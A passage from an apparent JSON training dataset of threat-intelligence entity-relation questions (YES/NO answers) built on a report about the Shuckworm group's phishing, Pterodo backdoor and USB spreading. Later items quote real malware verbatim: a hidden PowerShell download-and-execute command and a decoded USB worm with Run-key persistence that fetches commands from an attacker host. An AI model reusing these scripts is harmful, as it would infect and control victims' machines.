time, limiting the usefulness of its C&Cs when it comes to finding more activity or linking activity together. However, the group does use SSL certificates that have some commonalities that may be leveraged for tracking purposes. We believe the group is likely leveraging pre-configured images for use in its C&C deployment. These data points can help researchers to identify additional C&C infrastructure and Shuckworm activity.\nSymantec also saw what was likely Giddome, an infostealer tool that is a known Shuckworm backdoor, deployed onto victim networks to steal and exfiltrate data of interest.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGiddome\n### Target Entity: Shuckworm\n### Text Passage:\nShuckworm tactics, techniques, and procedures\nShuckworm is known to use phishing emails as an initial infection vector, in order to gain access to victim machines and distribute malware. The attackers send emails with malicious attachments to Ukrainian victims, with the attachments of various file types, such as:\n* .docx\n* .rar (RAR archive files)\n* .sfx (self-extracting archives)\n* .lnk\n* .hta (HTML smuggling files)\nThe victim lures we observed related to armed conflicts, criminal proceedings, combating crime, and protection of children, among others.\nOnce victims were infected, the attackers then proceed to download additional backdoors and tools onto targeted machines.\nShuckworm has also been observed using a new PowerShell script in order to spread its custom backdoor malware, Pterodo, via USB. Researchers from Symantec, part of Broadcom, blogged about Backdoor.Pterodo in April 2022, documenting how we had found four variants of the backdoor with similar functionality. The variants are Visual Basic Script (VBS) droppers that will drop a VBScript file, use Scheduled Tasks (shtasks.exe) to maintain persistence, and download additional code from a command-and-control (C&C) server.\nExamples of recent scheduled tasks include execution of the following command lines:\n* CSIDL_SYSTEM\\wscript.exe \"CSIDL_PROFILE\\appdata\\local\\temp\\desert\" //e:vbscript //b /dmc /j2k /spl /nff\n* CSIDL_SYSTEM\\wscript.exe \"CSIDL_PROFILE\\favorites\\jumper.asf\" //e:vbscript //b /asf /mdf /nab /apk\n* wscript.exe \"C:\\Users\\\\[REDACTED]\\Contacts\\delightful.abk\" //e:vbscript //b /cfg /mdm /cfm /mp4\nThe new PowerShell script is used to first copy itself onto the infected machine and create a shortcut file using an _rtk.lnk_ extension. The script uses file names such as \u201cporn_video.rtf.lnk\u201d, \u201cdo_not_delete.rtf.lnk\u201d\u201d and \u201cevidence.rtf.lnk\u201d in an attempt to entice individuals to open the files. These file names are generally in Ukrainian, but some are also in English.\nNext, the script enumerates all drives, copying itself to any available removable disks \u2013 USB drives. These USB drives are likely used by the attackers for lateral movement across victim networks and may be used to help the attackers reach air-gapped machines within targeted organizations.\nIn this recent activity, we also observed the group leveraging legitimate services to act as C&C servers, including using the Telegram messaging service for its C&C infrastructure. More recently, they have also used Telegram\u2019s micro-blogging platform, called Telegraph, to store C&C addresses.\nFigure 1. Threat actors use Telegraph to store C&C addresses\nShuckworm tends to only use its C&C infrastructure for short periods of time, limiting the usefulness of its C&Cs when it comes to finding more activity or linking activity together. However, the group does use SSL certificates that have some commonalities that may be leveraged for tracking purposes. We believe the group is likely leveraging pre-configured images for use in its C&C deployment. These data points can help researchers to identify additional C&C infrastructure and Shuckworm activity.\nSymantec also saw what was likely Giddome, an infostealer tool that is a known Shuckworm backdoor, deployed onto victim networks to steal and exfiltrate data of interest.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nShuckworm\n### Target Entity: C&C\n### Text Passage:\nShuckworm tactics, techniques, and procedures\nShuckworm is known to use phishing emails as an initial infection vector, in order to gain access to victim machines and distribute malware. The attackers send emails with malicious attachments to Ukrainian victims, with the attachments of various file types, such as:\n* .docx\n* .rar (RAR archive files)\n* .sfx (self-extracting archives)\n* .lnk\n* .hta (HTML smuggling files)\nThe victim lures we observed related to armed conflicts, criminal proceedings, combating crime, and protection of children, among others.\nOnce victims were infected, the attackers then proceed to download additional backdoors and tools onto targeted machines.\nShuckworm has also been observed using a new PowerShell script in order to spread its custom backdoor malware, Pterodo, via USB. Researchers from Symantec, part of Broadcom, blogged about Backdoor.Pterodo in April 2022, documenting how we had found four variants of the backdoor with similar functionality. The variants are Visual Basic Script (VBS) droppers that will drop a VBScript file, use Scheduled Tasks (shtasks.exe) to maintain persistence, and download additional code from a command-and-control (C&C) server.\nExamples of recent scheduled tasks include execution of the following command lines:\n* CSIDL_SYSTEM\\wscript.exe \"CSIDL_PROFILE\\appdata\\local\\temp\\desert\" //e:vbscript //b /dmc /j2k /spl /nff\n* CSIDL_SYSTEM\\wscript.exe \"CSIDL_PROFILE\\favorites\\jumper.asf\" //e:vbscript //b /asf /mdf /nab /apk\n* wscript.exe \"C:\\Users\\\\[REDACTED]\\Contacts\\delightful.abk\" //e:vbscript //b /cfg /mdm /cfm /mp4\nThe new PowerShell script is used to first copy itself onto the infected machine and create a shortcut file using an _rtk.lnk_ extension. The script uses file names such as \u201cporn_video.rtf.lnk\u201d, \u201cdo_not_delete.rtf.lnk\u201d\u201d and \u201cevidence.rtf.lnk\u201d in an attempt to entice individuals to open the files. These file names are generally in Ukrainian, but some are also in English.\nNext, the script enumerates all drives, copying itself to any available removable disks \u2013 USB drives. These USB drives are likely used by the attackers for lateral movement across victim networks and may be used to help the attackers reach air-gapped machines within targeted organizations.\nIn this recent activity, we also observed the group leveraging legitimate services to act as C&C servers, including using the Telegram messaging service for its C&C infrastructure. More recently, they have also used Telegram\u2019s micro-blogging platform, called Telegraph, to store C&C addresses.\nFigure 1. Threat actors use Telegraph to store C&C addresses\nShuckworm tends to only use its C&C infrastructure for short periods of time, limiting the usefulness of its C&Cs when it comes to finding more activity or linking activity together. However, the group does use SSL certificates that have some commonalities that may be leveraged for tracking purposes. We believe the group is likely leveraging pre-configured images for use in its C&C deployment. These data points can help researchers to identify additional C&C infrastructure and Shuckworm activity.\nSymantec also saw what was likely Giddome, an infostealer tool that is a known Shuckworm backdoor, deployed onto victim networks to steal and exfiltrate data of interest.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nPterodo\n### Target Entity: C&C\n### Text Passage:\nShuckworm tactics, techniques, and procedures\nShuckworm is known to use phishing emails as an initial infection vector, in order to gain access to victim machines and distribute malware. The attackers send emails with malicious attachments to Ukrainian victims, with the attachments of various file types, such as:\n* .docx\n* .rar (RAR archive files)\n* .sfx (self-extracting archives)\n* .lnk\n* .hta (HTML smuggling files)\nThe victim lures we observed related to armed conflicts, criminal proceedings, combating crime, and protection of children, among others.\nOnce victims were infected, the attackers then proceed to download additional backdoors and tools onto targeted machines.\nShuckworm has also been observed using a new PowerShell script in order to spread its custom backdoor malware, Pterodo, via USB. Researchers from Symantec, part of Broadcom, blogged about Backdoor.Pterodo in April 2022, documenting how we had found four variants of the backdoor with similar functionality. The variants are Visual Basic Script (VBS) droppers that will drop a VBScript file, use Scheduled Tasks (shtasks.exe) to maintain persistence, and download additional code from a command-and-control (C&C) server.\nExamples of recent scheduled tasks include execution of the following command lines:\n* CSIDL_SYSTEM\\wscript.exe \"CSIDL_PROFILE\\appdata\\local\\temp\\desert\" //e:vbscript //b /dmc /j2k /spl /nff\n* CSIDL_SYSTEM\\wscript.exe \"CSIDL_PROFILE\\favorites\\jumper.asf\" //e:vbscript //b /asf /mdf /nab /apk\n* wscript.exe \"C:\\Users\\\\[REDACTED]\\Contacts\\delightful.abk\" //e:vbscript //b /cfg /mdm /cfm /mp4\nThe new PowerShell script is used to first copy itself onto the infected machine and create a shortcut file using an _rtk.lnk_ extension. The script uses file names such as \u201cporn_video.rtf.lnk\u201d, \u201cdo_not_delete.rtf.lnk\u201d\u201d and \u201cevidence.rtf.lnk\u201d in an attempt to entice individuals to open the files. These file names are generally in Ukrainian, but some are also in English.\nNext, the script enumerates all drives, copying itself to any available removable disks \u2013 USB drives. These USB drives are likely used by the attackers for lateral movement across victim networks and may be used to help the attackers reach air-gapped machines within targeted organizations.\nIn this recent activity, we also observed the group leveraging legitimate services to act as C&C servers, including using the Telegram messaging service for its C&C infrastructure. More recently, they have also used Telegram\u2019s micro-blogging platform, called Telegraph, to store C&C addresses.\nFigure 1. Threat actors use Telegraph to store C&C addresses\nShuckworm tends to only use its C&C infrastructure for short periods of time, limiting the usefulness of its C&Cs when it comes to finding more activity or linking activity together. However, the group does use SSL certificates that have some commonalities that may be leveraged for tracking purposes. We believe the group is likely leveraging pre-configured images for use in its C&C deployment. These data points can help researchers to identify additional C&C infrastructure and Shuckworm activity.\nSymantec also saw what was likely Giddome, an infostealer tool that is a known Shuckworm backdoor, deployed onto victim networks to steal and exfiltrate data of interest.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGiddome\n### Target Entity: C&C\n### Text Passage:\nShuckworm tactics, techniques, and procedures\nShuckworm is known to use phishing emails as an initial infection vector, in order to gain access to victim machines and distribute malware. The attackers send emails with malicious attachments to Ukrainian victims, with the attachments of various file types, such as:\n* .docx\n* .rar (RAR archive files)\n* .sfx (self-extracting archives)\n* .lnk\n* .hta (HTML smuggling files)\nThe victim lures we observed related to armed conflicts, criminal proceedings, combating crime, and protection of children, among others.\nOnce victims were infected, the attackers then proceed to download additional backdoors and tools onto targeted machines.\nShuckworm has also been observed using a new PowerShell script in order to spread its custom backdoor malware, Pterodo, via USB. Researchers from Symantec, part of Broadcom, blogged about Backdoor.Pterodo in April 2022, documenting how we had found four variants of the backdoor with similar functionality. The variants are Visual Basic Script (VBS) droppers that will drop a VBScript file, use Scheduled Tasks (shtasks.exe) to maintain persistence, and download additional code from a command-and-control (C&C) server.\nExamples of recent scheduled tasks include execution of the following command lines:\n* CSIDL_SYSTEM\\wscript.exe \"CSIDL_PROFILE\\appdata\\local\\temp\\desert\" //e:vbscript //b /dmc /j2k /spl /nff\n* CSIDL_SYSTEM\\wscript.exe \"CSIDL_PROFILE\\favorites\\jumper.asf\" //e:vbscript //b /asf /mdf /nab /apk\n* wscript.exe \"C:\\Users\\\\[REDACTED]\\Contacts\\delightful.abk\" //e:vbscript //b /cfg /mdm /cfm /mp4\nThe new PowerShell script is used to first copy itself onto the infected machine and create a shortcut file using an _rtk.lnk_ extension. The script uses file names such as \u201cporn_video.rtf.lnk\u201d, \u201cdo_not_delete.rtf.lnk\u201d\u201d and \u201cevidence.rtf.lnk\u201d in an attempt to entice individuals to open the files. These file names are generally in Ukrainian, but some are also in English.\nNext, the script enumerates all drives, copying itself to any available removable disks \u2013 USB drives. These USB drives are likely used by the attackers for lateral movement across victim networks and may be used to help the attackers reach air-gapped machines within targeted organizations.\nIn this recent activity, we also observed the group leveraging legitimate services to act as C&C servers, including using the Telegram messaging service for its C&C infrastructure. More recently, they have also used Telegram\u2019s micro-blogging platform, called Telegraph, to store C&C addresses.\nFigure 1. Threat actors use Telegraph to store C&C addresses\nShuckworm tends to only use its C&C infrastructure for short periods of time, limiting the usefulness of its C&Cs when it comes to finding more activity or linking activity together. However, the group does use SSL certificates that have some commonalities that may be leveraged for tracking purposes. We believe the group is likely leveraging pre-configured images for use in its C&C deployment. These data points can help researchers to identify additional C&C infrastructure and Shuckworm activity.\nSymantec also saw what was likely Giddome, an infostealer tool that is a known Shuckworm backdoor, deployed onto victim networks to steal and exfiltrate data of interest.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nShuckworm\n### Target Entity: Pterodo\n### Text Passage:\nShuckworm tactics, techniques, and procedures\nShuckworm is known to use phishing emails as an initial infection vector, in order to gain access to victim machines and distribute malware. The attackers send emails with malicious attachments to Ukrainian victims, with the attachments of various file types, such as:\n* .docx\n* .rar (RAR archive files)\n* .sfx (self-extracting archives)\n* .lnk\n* .hta (HTML smuggling files)\nThe victim lures we observed related to armed conflicts, criminal proceedings, combating crime, and protection of children, among others.\nOnce victims were infected, the attackers then proceed to download additional backdoors and tools onto targeted machines.\nShuckworm has also been observed using a new PowerShell script in order to spread its custom backdoor malware, Pterodo, via USB. Researchers from Symantec, part of Broadcom, blogged about Backdoor.Pterodo in April 2022, documenting how we had found four variants of the backdoor with similar functionality. The variants are Visual Basic Script (VBS) droppers that will drop a VBScript file, use Scheduled Tasks (shtasks.exe) to maintain persistence, and download additional code from a command-and-control (C&C) server.\nExamples of recent scheduled tasks include execution of the following command lines:\n* CSIDL_SYSTEM\\wscript.exe \"CSIDL_PROFILE\\appdata\\local\\temp\\desert\" //e:vbscript //b /dmc /j2k /spl /nff\n* CSIDL_SYSTEM\\wscript.exe \"CSIDL_PROFILE\\favorites\\jumper.asf\" //e:vbscript //b /asf /mdf /nab /apk\n* wscript.exe \"C:\\Users\\\\[REDACTED]\\Contacts\\delightful.abk\" //e:vbscript //b /cfg /mdm /cfm /mp4\nThe new PowerShell script is used to first copy itself onto the infected machine and create a shortcut file using an _rtk.lnk_ extension. The script uses file names such as \u201cporn_video.rtf.lnk\u201d, \u201cdo_not_delete.rtf.lnk\u201d\u201d and \u201cevidence.rtf.lnk\u201d in an attempt to entice individuals to open the files. These file names are generally in Ukrainian, but some are also in English.\nNext, the script enumerates all drives, copying itself to any available removable disks \u2013 USB drives. These USB drives are likely used by the attackers for lateral movement across victim networks and may be used to help the attackers reach air-gapped machines within targeted organizations.\nIn this recent activity, we also observed the group leveraging legitimate services to act as C&C servers, including using the Telegram messaging service for its C&C infrastructure. More recently, they have also used Telegram\u2019s micro-blogging platform, called Telegraph, to store C&C addresses.\nFigure 1. Threat actors use Telegraph to store C&C addresses\nShuckworm tends to only use its C&C infrastructure for short periods of time, limiting the usefulness of its C&Cs when it comes to finding more activity or linking activity together. However, the group does use SSL certificates that have some commonalities that may be leveraged for tracking purposes. We believe the group is likely leveraging pre-configured images for use in its C&C deployment. These data points can help researchers to identify additional C&C infrastructure and Shuckworm activity.\nSymantec also saw what was likely Giddome, an infostealer tool that is a known Shuckworm backdoor, deployed onto victim networks to steal and exfiltrate data of interest.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nShuckworm\n### Target Entity: Giddome\n### Text Passage:\nShuckworm tactics, techniques, and procedures\nShuckworm is known to use phishing emails as an initial infection vector, in order to gain access to victim machines and distribute malware. The attackers send emails with malicious attachments to Ukrainian victims, with the attachments of various file types, such as:\n* .docx\n* .rar (RAR archive files)\n* .sfx (self-extracting archives)\n* .lnk\n* .hta (HTML smuggling files)\nThe victim lures we observed related to armed conflicts, criminal proceedings, combating crime, and protection of children, among others.\nOnce victims were infected, the attackers then proceed to download additional backdoors and tools onto targeted machines.\nShuckworm has also been observed using a new PowerShell script in order to spread its custom backdoor malware, Pterodo, via USB. Researchers from Symantec, part of Broadcom, blogged about Backdoor.Pterodo in April 2022, documenting how we had found four variants of the backdoor with similar functionality. The variants are Visual Basic Script (VBS) droppers that will drop a VBScript file, use Scheduled Tasks (shtasks.exe) to maintain persistence, and download additional code from a command-and-control (C&C) server.\nExamples of recent scheduled tasks include execution of the following command lines:\n* CSIDL_SYSTEM\\wscript.exe \"CSIDL_PROFILE\\appdata\\local\\temp\\desert\" //e:vbscript //b /dmc /j2k /spl /nff\n* CSIDL_SYSTEM\\wscript.exe \"CSIDL_PROFILE\\favorites\\jumper.asf\" //e:vbscript //b /asf /mdf /nab /apk\n* wscript.exe \"C:\\Users\\\\[REDACTED]\\Contacts\\delightful.abk\" //e:vbscript //b /cfg /mdm /cfm /mp4\nThe new PowerShell script is used to first copy itself onto the infected machine and create a shortcut file using an _rtk.lnk_ extension. The script uses file names such as \u201cporn_video.rtf.lnk\u201d, \u201cdo_not_delete.rtf.lnk\u201d\u201d and \u201cevidence.rtf.lnk\u201d in an attempt to entice individuals to open the files. These file names are generally in Ukrainian, but some are also in English.\nNext, the script enumerates all drives, copying itself to any available removable disks \u2013 USB drives. These USB drives are likely used by the attackers for lateral movement across victim networks and may be used to help the attackers reach air-gapped machines within targeted organizations.\nIn this recent activity, we also observed the group leveraging legitimate services to act as C&C servers, including using the Telegram messaging service for its C&C infrastructure. More recently, they have also used Telegram\u2019s micro-blogging platform, called Telegraph, to store C&C addresses.\nFigure 1. Threat actors use Telegraph to store C&C addresses\nShuckworm tends to only use its C&C infrastructure for short periods of time, limiting the usefulness of its C&Cs when it comes to finding more activity or linking activity together. However, the group does use SSL certificates that have some commonalities that may be leveraged for tracking purposes. We believe the group is likely leveraging pre-configured images for use in its C&C deployment. These data points can help researchers to identify additional C&C infrastructure and Shuckworm activity.\nSymantec also saw what was likely Giddome, an infostealer tool that is a known Shuckworm backdoor, deployed onto victim networks to steal and exfiltrate data of interest.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nevidence.rtf.lnk\n### Target Entity: Telegraph\n### Text Passage:\nShuckworm tactics, techniques, and procedures\nShuckworm is known to use phishing emails as an initial infection vector, in order to gain access to victim machines and distribute malware. The attackers send emails with malicious attachments to Ukrainian victims, with the attachments of various file types, such as:\n* .docx\n* .rar (RAR archive files)\n* .sfx (self-extracting archives)\n* .lnk\n* .hta (HTML smuggling files)\nThe victim lures we observed related to armed conflicts, criminal proceedings, combating crime, and protection of children, among others.\nOnce victims were infected, the attackers then proceed to download additional backdoors and tools onto targeted machines.\nShuckworm has also been observed using a new PowerShell script in order to spread its custom backdoor malware, Pterodo, via USB. Researchers from Symantec, part of Broadcom, blogged about Backdoor.Pterodo in April 2022, documenting how we had found four variants of the backdoor with similar functionality. The variants are Visual Basic Script (VBS) droppers that will drop a VBScript file, use Scheduled Tasks (shtasks.exe) to maintain persistence, and download additional code from a command-and-control (C&C) server.\nExamples of recent scheduled tasks include execution of the following command lines:\n* CSIDL_SYSTEM\\wscript.exe \"CSIDL_PROFILE\\appdata\\local\\temp\\desert\" //e:vbscript //b /dmc /j2k /spl /nff\n* CSIDL_SYSTEM\\wscript.exe \"CSIDL_PROFILE\\favorites\\jumper.asf\" //e:vbscript //b /asf /mdf /nab /apk\n* wscript.exe \"C:\\Users\\\\[REDACTED]\\Contacts\\delightful.abk\" //e:vbscript //b /cfg /mdm /cfm /mp4\nThe new PowerShell script is used to first copy itself onto the infected machine and create a shortcut file using an _rtk.lnk_ extension. The script uses file names such as \u201cporn_video.rtf.lnk\u201d, \u201cdo_not_delete.rtf.lnk\u201d\u201d and \u201cevidence.rtf.lnk\u201d in an attempt to entice individuals to open the files. These file names are generally in Ukrainian, but some are also in English.\nNext, the script enumerates all drives, copying itself to any available removable disks \u2013 USB drives. These USB drives are likely used by the attackers for lateral movement across victim networks and may be used to help the attackers reach air-gapped machines within targeted organizations.\nIn this recent activity, we also observed the group leveraging legitimate services to act as C&C servers, including using the Telegram messaging service for its C&C infrastructure. More recently, they have also used Telegram\u2019s micro-blogging platform, called Telegraph, to store C&C addresses.\nFigure 1. Threat actors use Telegraph to store C&C addresses\nShuckworm tends to only use its C&C infrastructure for short periods of time, limiting the usefulness of its C&Cs when it comes to finding more activity or linking activity together. However, the group does use SSL certificates that have some commonalities that may be leveraged for tracking purposes. We believe the group is likely leveraging pre-configured images for use in its C&C deployment. These data points can help researchers to identify additional C&C infrastructure and Shuckworm activity.\nSymantec also saw what was likely Giddome, an infostealer tool that is a known Shuckworm backdoor, deployed onto victim networks to steal and exfiltrate data of interest.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nfoto.safe\n### Target Entity: Shuckworm\n### Text Passage:\nTypical Attack Chain\nThe following describes a typical attack chain seen on a victim machine compromised by Shuckworm in this campaign.\nIn one attack, the first sign of malicious activity was when the user appeared to open a RAR archive file that was likely delivered via a spear-phishing email and which contained a malicious document.\nAfter the document was opened, a malicious PowerShell command was observed being executed to download the next-stage payload from the attackers\u2019 C&C server:\n`\"CSIDL_SYSTEM\\cmd.exe\" /c start /min \"\" powershell -w hidden \"$gt='/get.'+char+char+char;$hosta=char;[system.net.servicepointmanager]::servercertificatevalidationcallback={$true};$hosta+='.vafikgo.';$hosta+=char;$hosta+=char;$addrs=[system.net.dns]::gethostbyname($hosta);$addr=$addrs.addresslist[0];$client=(new-object net.webclient);$faddr='htt'+'ps://'+$addr+$gt;$text=$client.downloadstring($faddr);iex $text\"`\nMore recently, Symantec has observed Shuckworm leveraging more IP addresses in their PowerShell scripts. This is likely an attempt to evade some tracking methods employed by researchers.\nShuckworm also continues to update the obfuscation techniques used in its PowerShell scripts in an attempt to avoid detection, with up to 25 new variants of the group\u2019s scripts observed per month between January and April 2023.\nNext, a VBS script, which was Shuckworm\u2019s Pterodo backdoor, was executed:\n* CSIDL_SYSTEM\\wscript.exe CSIDL_PROFILE\\appdata\\local\\temp\\deprive.wow //e:vbscript //b /kmc /fff /cfm /sc4model\nFollowing this, we saw what appeared to be multiple similar scripts being executed. The machine used for this activity appeared to contain multiple confidential documents related to Ukrainian security services or government departments.\nOn a different machine, we saw malicious activity that appeared to be executed from a file (foto.safe) that had been dropped by an infected USB key that someone had plugged into the system. Symantec observed multiple file paths present on infected machines that indicate users had plugged in an infected USB key e.g. \"usb-\u043d\u0430\u043a\u043e\u043f\u0438\u0442\u0435\u043b\u044c\" translates as \"usb-drive\".\nThe foto.safe file is a Base64-encoded script.\nDecoded it looks like the following:\n_fUNCtIon sET-lnK ($chILd) {_\n_$nAMetxt = \"foto.sAfe\".TolowER();_\n_$NAmE = (\"\u043a\u041e\u041c\u041f\u0420\u041e\u041c\u0430\u0442\", \"\u041a\u041e\u0420\u0417\u0438\u041d\u0410\", \"\u0421\u0435\u041a\u0420\u0435\u0442\u043d\u041e\" GeT-rAnDOm).ToUPPeR();_\n_$WSHSHELl = NEw-obJeCT -CoMObjeCT WSCriPT.shELL;_\n_$sHORTcut = $wShShEll.CREatesHoRTCUt($cHild +\"\\$nAMe.LNK\");_\n_$shoRtCuT.iConloCaTiON = \"C:\\wiNDoWS\\SysteM32\\SHELL32.DLL,3\";_\n_$SHOrTcUT.TArGetpAth = \"c:\\wInDOwS\\sYstEm32\\WInDOwSpowERshell\\V1.0\\POwERShEll.ExE\".ToLoweR();_\n_$text = \"-wInDoWsTYlE hidDeN -nolOgo Iex (IeX (GeT-cOnTent .\\$NAMetxt OUT-STrIng))\".TOlower();_\n_$sHORTCUT.ArGUMEnTs = $tExt;_\n_$sHortCUT.saVE();_\n_$mYfIlE= $chIlD+\"\\$naMeTXT\"_\n_cOPY-Item $enV:UsErprOfilE\\iNdEx.phP -deSTINAtION $mYfILE_\n_$FIlE=GEt-ITEM $mYfiLE -forCe_\n_$FiLe.ATtRiButes='hiDDEN'_\n__\n_}_\n_Set-ITemPRoPERTY -pAth HkCU:\\soFTWare\\MicROsOfT\\WiNDows\\cURRENtVerSiON\\ruN -NAME safE -valUE $env:windir'\\sYSTeM32\\wINDoWSPowErSHEll\\v1.0\\pOwERShell.eXE -WIndowSTYlE hiddEN -noLOgO inVOkE-ExpREsSIOn (get-contEnT $eNV:usERPRoFILe\\INdEX.PHp Out-sTRing) poweRSHeLL -noPROfILE';_\n_coPy-item .\\\"fOtO.safe\" -dEsTInaTioN $Env:USeRprOFIle\\iNdEX.pHp_\n_WHile($CoUNT -lE 2){_\n_$urLs = 'hTTP://'+ [SYSTEM.NEt.DnS]::geThostadDREsSes([String]$(GEt-random)+'.cOriDAS.Ru') +'/slEEP.Php';_\n_iEX $(New-ObJeCt Net.WEBClient).uPloAdStRING($uRls.ToloWER(),'')_\n_$drIVE = GeT-wmIoBJeCt WIN32_VOluME -fILTer \"drIvETYPe='2'\";_\n_$Drive.naMe FOreaCH-oBJecT{_\n_$CHiLdS = GET-ChilDITem $drivE.nAMe_\n_foReach($cHilDs IN $chiLDs)_\n_{_\n_if( [SYsTEM.io.fiLE]::GetAttributES($ChilDS.FuLlnAMe) -eq [SYsTEM.Io.fILeaTTrIbuTES]::DIRecToRy )_\n_{_\n_sET-lnk $chILds.fUlLName_\n_}}_\n_IF(($dRIVe.CapaCITY - $DriVe.fREeSPACE) -Gt 1000000){_\n_SEt-lNK $DRivE.name_\n_}}_\n_STArt-SLEeP -S 300;_\n_}_\nThis PowerShell script is used to copy itself onto the infected machine and then create a shortcut file that links to the PowerShell script. Symantec has identified multiple variants of this script that can be used to indicate successful infection, or to download additional tools onto infected machines.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\ndeprive.wow\n### Target Entity: Pterodo\n### Text Passage:\nTypical Attack Chain\nThe following describes a typical attack chain seen on a victim machine compromised by Shuckworm in this campaign.\nIn one attack, the first sign of malicious activity was when the user appeared to open a RAR archive file that was likely delivered via a spear-phishing email and which contained a malicious document.\nAfter the document was opened, a malicious PowerShell command was observed being executed to download the next-stage payload from the attackers\u2019 C&C server:\n`\"CSIDL_SYSTEM\\cmd.exe\" /c start /min \"\" powershell -w hidden \"$gt='/get.'+char+char+char;$hosta=char;[system.net.servicepointmanager]::servercertificatevalidationcallback={$true};$hosta+='.vafikgo.';$hosta+=char;$hosta+=char;$addrs=[system.net.dns]::gethostbyname($hosta);$addr=$addrs.addresslist[0];$client=(new-object net.webclient);$faddr='htt'+'ps://'+$addr+$gt;$text=$client.downloadstring($faddr);iex $text\"`\nMore recently, Symantec has observed Shuckworm leveraging more IP addresses in their PowerShell scripts. This is likely an attempt to evade some tracking methods employed by researchers.\nShuckworm also continues to update the obfuscation techniques used in its PowerShell scripts in an attempt to avoid detection, with up to 25 new variants of the group\u2019s scripts observed per month between January and April 2023.\nNext, a VBS script, which was Shuckworm\u2019s Pterodo backdoor, was executed:\n* CSIDL_SYSTEM\\wscript.exe CSIDL_PROFILE\\appdata\\local\\temp\\deprive.wow //e:vbscript //b /kmc /fff /cfm /sc4model\nFollowing this, we saw what appeared to be multiple similar scripts being executed. The machine used for this activity appeared to contain multiple confidential documents related to Ukrainian security services or government departments.\nOn a different machine, we saw malicious activity that appeared to be executed from a file (foto.safe) that had been dropped by an infected USB key that someone had plugged into the system. Symantec observed multiple file paths present on infected machines that indicate users had plugged in an infected USB key e.g. \"usb-\u043d\u0430\u043a\u043e\u043f\u0438\u0442\u0435\u043b\u044c\" translates as \"usb-drive\".\nThe foto.safe file is a Base64-encoded script.\nDecoded it looks like the following:\n_fUNCtIon sET-lnK ($chILd) {_\n_$nAMetxt = \"foto.sAfe\".TolowER();_\n_$NAmE = (\"\u043a\u041e\u041c\u041f\u0420\u041e\u041c\u0430\u0442\", \"\u041a\u041e\u0420\u0417\u0438\u041d\u0410\", \"\u0421\u0435\u041a\u0420\u0435\u0442\u043d\u041e\" GeT-rAnDOm).ToUPPeR();_\n_$WSHSHELl = NEw-obJeCT -CoMObjeCT WSCriPT.shELL;_\n_$sHORTcut = $wShShEll.CREatesHoRTCUt($cHild +\"\\$nAMe.LNK\");_\n_$shoRtCuT.iConloCaTiON = \"C:\\wiNDoWS\\SysteM32\\SHELL32.DLL,3\";_\n_$SHOrTcUT.TArGetpAth = \"c:\\wInDOwS\\sYstEm32\\WInDOwSpowERshell\\V1.0\\POwERShEll.ExE\".ToLoweR();_\n_$text = \"-wInDoWsTYlE hidDeN -nolOgo Iex (IeX (GeT-cOnTent .\\$NAMetxt OUT-STrIng))\".TOlower();_\n_$sHORTCUT.ArGUMEnTs = $tExt;_\n_$sHortCUT.saVE();_\n_$mYfIlE= $chIlD+\"\\$naMeTXT\"_\n_cOPY-Item $enV:UsErprOfilE\\iNdEx.phP -deSTINAtION $mYfILE_\n_$FIlE=GEt-ITEM $mYfiLE -forCe_\n_$FiLe.ATtRiButes='hiDDEN'_\n__\n_}_\n_Set-ITemPRoPERTY -pAth HkCU:\\soFTWare\\MicROsOfT\\WiNDows\\cURRENtVerSiON\\ruN -NAME safE -valUE $env:windir'\\sYSTeM32\\wINDoWSPowErSHEll\\v1.0\\pOwERShell.eXE -WIndowSTYlE hiddEN -noLOgO inVOkE-ExpREsSIOn (get-contEnT $eNV:usERPRoFILe\\INdEX.PHp Out-sTRing) poweRSHeLL -noPROfILE';_\n_coPy-item .\\\"fOtO.safe\" -dEsTInaTioN $Env:USeRprOFIle\\iNdEX.pHp_\n_WHile($CoUNT -lE 2){_\n_$urLs = 'hTTP://'+ [SYSTEM.NEt.DnS]::geThostadDREsSes([String]$(GEt-random)+'.cOriDAS.Ru') 